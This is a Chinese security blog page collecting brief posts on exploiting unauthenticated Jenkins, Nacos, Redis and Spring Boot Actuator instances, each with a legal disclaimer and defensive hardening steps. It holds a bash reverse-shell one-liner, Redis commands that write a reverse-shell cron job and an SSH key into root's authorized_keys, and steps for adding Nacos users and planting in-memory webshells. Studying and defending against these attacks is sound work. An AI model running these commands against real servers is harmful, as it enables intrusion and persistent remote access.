未授权 on SoulJian小站

Jenkins未授权访问与代码执行利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Jenkins 攻击只在授权测试环境进行。对非授权 Jenkins 实例进行攻击可能触犯法律。

一、Jenkins 利用链

1

① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job（POST /createItem?name=exploit）
# Content-Type: text/xml
# body: <com.cloudbees....>

# 触发执行
POST http://target:8080/job/exploit/build

# 反弹 Shell
bash -i >& /dev/tcp/xxx/4444 0>&1

三、防御加固

1
2
3


启用 Jenkins 认证 · 网络隔离（不暴露公网）
启用 CSRF Protection · 限制 /api/* 访问
升级最新版本 · 审计 API 调用日志

四、小结

Jenkins 未授权 = 服务器 RCE。防御核心是认证 + 网络隔离 + CSRF 防护。

Jenkins未授权与代码执行利用

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Jenkins 攻击只在授权测试环境进行。

一、Jenkins 攻击链

1

① 发现 Jenkins → ② 确认未授权 → ③ 创建 Job → ④ 执行脚本 → ⑤ 反弹 Shell

二、利用步骤

1
2
3
4
5
6


# 确认未授权
curl -s http://target:8080/api/json

# 创建 Job + 触发执行
POST /createItem?name=exploit
POST /job/exploit/build

三、防御加固

1
2


启用认证 · 网络隔离 · CSRF 防护
WAF 拦截 /api/* 访问

四、小结

Jenkins 未授权 = RCE。防御核心是认证 + 网络隔离 + CSRF 防护。

Nacos漏洞利用实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Nacos 攻击只在授权测试环境进行。

一、Nacos 攻击链

1

① 未授权访问 → ② 添加用户 → ③ 任意文件读写 → ④ 内存马 → ⑤ RCE

二、利用步骤

1
2
3
4


未授权：直接访问 /nacos/
添加用户：POST /v1/auth/users
任意文件读写：PUT /v1/cs/configs
内存马：利用 Tomcat 执行内存 WebShell

三、防御加固

1
2
3


升级到 Nacos 2.x+
开启鉴权（auth.enabled=true）
不暴露公网

四、小结

Nacos 未授权 + 任意文件读写 = RCE。防御核心是开启鉴权 + 升级到 2.x+。

Redis未授权访问原理与防御

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Redis 攻击只在授权测试环境进行。对非授权 Redis 实例进行攻击可能触犯法律。

一、Redis 未授权利用链

1

① 发现 Redis → ② 确认未授权 → ③ 写 Crontab → ④ 写 SSH 密钥 → ⑤ 写 WebShell → ⑥ 提权

二、利用步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 确认未授权
redis-cli -h target
PING → PONG（未授权）

# 写 Crontab
set msg "\n* * * * * /bin/bash -c 'bash -i ...'"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

# 写 SSH 密钥
set sshkey "ssh-rsa AAAA..."
config set dir /root/.ssh
config set dbfilename authorized_keys
save

三、防御加固

1
2
3
4
5


requirepass 设置强密码
rename-command CONFIG ""
bind 127.0.0.1（禁止公网）
Redis 以低权限用户运行
升级到 Redis 6+（ACL 支持）

四、小结

Redis 未授权 = 服务器 GetShell。防御核心是设置密码 + 禁止公网 + 最小权限用户。

Spring-Boot-Actuator信息泄露与未授权

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Actuator 安全测试只在授权测试环境进行。

一、Actuator 利用链

1

① 发现 Actuator → ② 枚举端点 → ③ 信息收集 → ④ 利用 → ⑤ RCE

二、危险端点

1
2
3
4


/actuator/env：查看/修改环境变量（含密码）
/actuator/heapdump：下载 JVM 堆内存（提取明文密码）
/actuator/threaddump：线程堆栈（含变量值）
/actuator/logfile：读取应用日志

三、防御方法

1
2
3
4


关闭端点：management.endpoints.web.exposure.include=
加认证：Spring Security 保护
网络隔离：不暴露公网
WAF 拦截 /actuator/ 路径

四、小结

Actuator 信息泄露可能导致数据库密码/JWT/源码泄露，进而导致 RCE。防御核心是关闭敏感端点 + 加认证 + 网络隔离。